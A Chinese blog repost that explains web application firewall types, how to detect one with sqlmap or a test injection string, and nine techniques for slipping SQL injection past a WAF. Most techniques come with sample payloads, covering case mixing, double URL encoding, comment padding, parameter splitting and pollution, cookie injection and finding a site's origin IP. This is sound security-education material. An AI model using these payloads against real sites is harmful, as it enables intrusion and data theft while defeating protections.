我是靠谱客的博主 耍酷小馒头,最近开发中收集的这篇文章主要介绍WAF的那些事,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

WAF(web应用防火墙):是通过执行一系列针对http/https的安全策略来专门为web应用提供保护的一款产品。

waf分类

  • 软件型waf(安装在服务器上,直接检测服务器上是否存在webshell,是否有文件被创建)
  • 硬件型waf(当串联到链路中可以拦截恶意流量,在旁路监听模式时只记录攻击不进行拦截)
  • 云waf(一般以反向代理的形式工作,通过配置ns记录或cname记录,使对网站的请求报文优先经过waf主机,经过waf主机过滤后,将认为无害的请求报文再发送给实际服务器请求,可以说是带防护功能的cdn)
  • 网站系统内置的waf(对经过代码流程的输入进行检测,对输入的数据进行替换过滤后再继续执行代码流程,输入参数合法性检测,输入参数强制类型转换)

waf判断

sqlmap判断

使用sqlmap中自带的waf识别模块可以识别出waf,但是如果所安装的waf并没有什么特征,sqlmap就只能识别出类型是generic

sqlmap.py -u "http://xx.com" --identify-waf --bath

手工判断

直接再相应的网站的url后面加基础的测试语句,比如union select 1,2,3%23,并且放在一个不存在的参数名中,执行会触发waf的防护,并且网站存在waf


一些waf的绕过方法(主要介绍sql注入漏洞方法为例)
1.大小写混合

uNion sElEct 1,2,3,4

2.url编码
极少部分的waf不会对普通字符进行url解码(union select 1,2,3,4,5)

union+select+1%2c2%2c3%2c4%2c5


还有一种情况就是url二次解码,waf一般只进行一次解码,而如果目标web系统的代码进行了额外的url解码,即可进行绕过
 

union%2bselect%2b1%252c2%252c3%252c4%252c5

3.替换关键词
waf采用替换或者删除select/union这类敏感关键词的时候,如果只匹配一次则容易进行绕过
 

union select 1,2,3,4  转换为 unionion selectect 1,2,3,4

4.使用注释
注释在截断sql语句中用的比较多,在绕过waf时主要使用其替代空格(/*内容*/),适用于检测过程中没有识别注释或替换掉了注释的waf
 

union select 1,2,3,4     转换为 union/*235*/select/*5588*/1,2,3,4

5.多参数请求拆分
对于多个参数拼接到同一个sql语句中的情况,可以将注入语句分割
例如:请求url时,get参数为如下格式

a=[input1]&b=[imput2]


将get参数a和参数b拼接到sql语句中    

and a=[input1] and b=[input2]


这时就可以将注入语句进行拆分

a=union/*&b=*/select 1,2,3,


最终将参数a和参数b拼接,得到的sql语句如下
 

and a=union /*and b=*/select 1,2,3,

6.http参数污染

http参数污染是指同一参数出现多次,不同的中间件会解析为不同的结果。

下面以IIS为例子,一般的sql注入语句如下所示

inject=union select 1,2,3,4

将sql注入语句转换为以下格式。

inject=union/*&ingect=*/select/*&ingect=*/1&ingect=2&ingect=3&ingect=4

最终在IIS中读入的参数如下所示

ingect=union/*,*/select/*,*/1,2,3,4

7.生僻函数
使用生僻函数替代常见函数,例如在报错注入中使用polygon()函数替换常用函数updatexml()函数

SELECT polygon((select*from(select*from(select@@version)f)x));

8.寻找网站源站ip
对于具有云waf防护的网站而言,只要找到网站的IP地址,然后通过ip访问网站,就可以绕过云waf的检测
常见的寻找网站ip的方法有以下几种

  • 寻找网站的历史解析记录
  • 多个不同区域ping网站,查看ip解析的结果
  • 找网站的二级域名,ns,mx记录等对应的ip
  • 订阅网站邮件,查看邮件发送方的ip

9.注入参数到cokies中

某些程序员在代码中使用$_REQUEST获取参数,而$_REQUEST会依次从get/post/cookie中获取参数,如果waf只检测了get/post而没检测cookie,可以将注入语句放入cookie中进行绕过。

 

最后

以上就是耍酷小馒头为你收集整理的WAF的那些事的全部内容,希望文章能够帮你解决WAF的那些事所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(90)

评论列表共有 0 条评论

立即
投稿
返回
顶部